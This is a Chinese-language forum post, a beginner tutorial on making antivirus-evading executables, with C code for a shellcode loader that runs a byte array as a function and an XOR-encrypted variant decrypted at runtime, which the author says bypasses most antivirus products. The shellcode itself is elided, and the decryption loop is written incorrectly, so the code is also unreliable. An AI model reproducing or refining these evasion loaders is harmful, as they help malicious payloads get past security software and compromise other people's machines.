新手上路

- 資源幣
- 15
- 積分
- 20
- 貢獻(xiàn)
- 0
- 在線時(shí)間
- 2 小時(shí)
- 注冊時(shí)間
- 2020-2-21
- 最后登錄
- 2020-5-3
|
零基礎(chǔ)入門學(xué)免殺(一)
目前有很多利用shellcode自動(dòng)免殺的工具,但是這些工具的指紋有相似的
如果有人傳到網(wǎng)上掃描被殺或者工具過時(shí)怎么辦?
這時(shí)你就需要自己制作免殺了
最簡單的就是shellcode加密直接生成可執(zhí)行文件
直接生成shellcode、
有時(shí)候shellcode是直接可以免殺的 但是有的時(shí)候是會被殺的
1.png (78.11 KB, 下載次數(shù): 95)
下載附件
保存到相冊
2020-2-21 20:21 上傳
一:無加密直接自己生成可執(zhí)行文件
分配一些內(nèi)存,拷貝字符數(shù)組到分配的內(nèi)存中,最后執(zhí)行它
#include"stdafx.h"
/* length: 798 bytes*/
unsigned charshellcode[] = “\xfc\xe8\x89\x00\......”//這里寫shellcode
int main(intargc, char* argv[])
{
((void(*)(void))&shellcode)();
return 0;
}
2.png (39.76 KB, 下載次數(shù): 86)
下載附件
保存到相冊
2020-2-21 20:23 上傳
直接生成有時(shí)候能過一部分殺毒
二:加密shellcode生成可執(zhí)行文件
加密的方式有很多,可以加密一次也可以多次加密,我用異或加密演示給大家看
首先把自己的shellcode進(jìn)行異或加密一次,然后把加密的代碼解密執(zhí)行。
我這里把shellcode和0x97異或加密過后解密執(zhí)行
#include "stdafx.h"
#include <windows.h>
#define KEY 0x97 //進(jìn)行異或的字符
/* length: 798 bytes */
unsigned char buf[] =
"\x6b\x7f\x1e\x97\x97\” 這里輸入你自己加密過后的shellcode
int main(int argc, char* argv[])
{
unsigned char c[sizeof(buf)]; //獲取shellcode長度
for (int i = 0; i < sizeof(buf)-1; i++)
{
c = buf ^ KEY;//進(jìn)行解密
}
( (void(*)(void))&c)(); 執(zhí)行shellcode
return 0;
}
3.png (77.09 KB, 下載次數(shù): 91)
下載附件
保存到相冊
2020-2-21 20:23 上傳
這個(gè)方法目前可以過掉大部分殺毒
4.png (195.02 KB, 下載次數(shù): 93)
下載附件
保存到相冊
2020-2-21 20:24 上傳
5.png (154.02 KB, 下載次數(shù): 90)
下載附件
保存到相冊
2020-2-21 20:24 上傳
|
|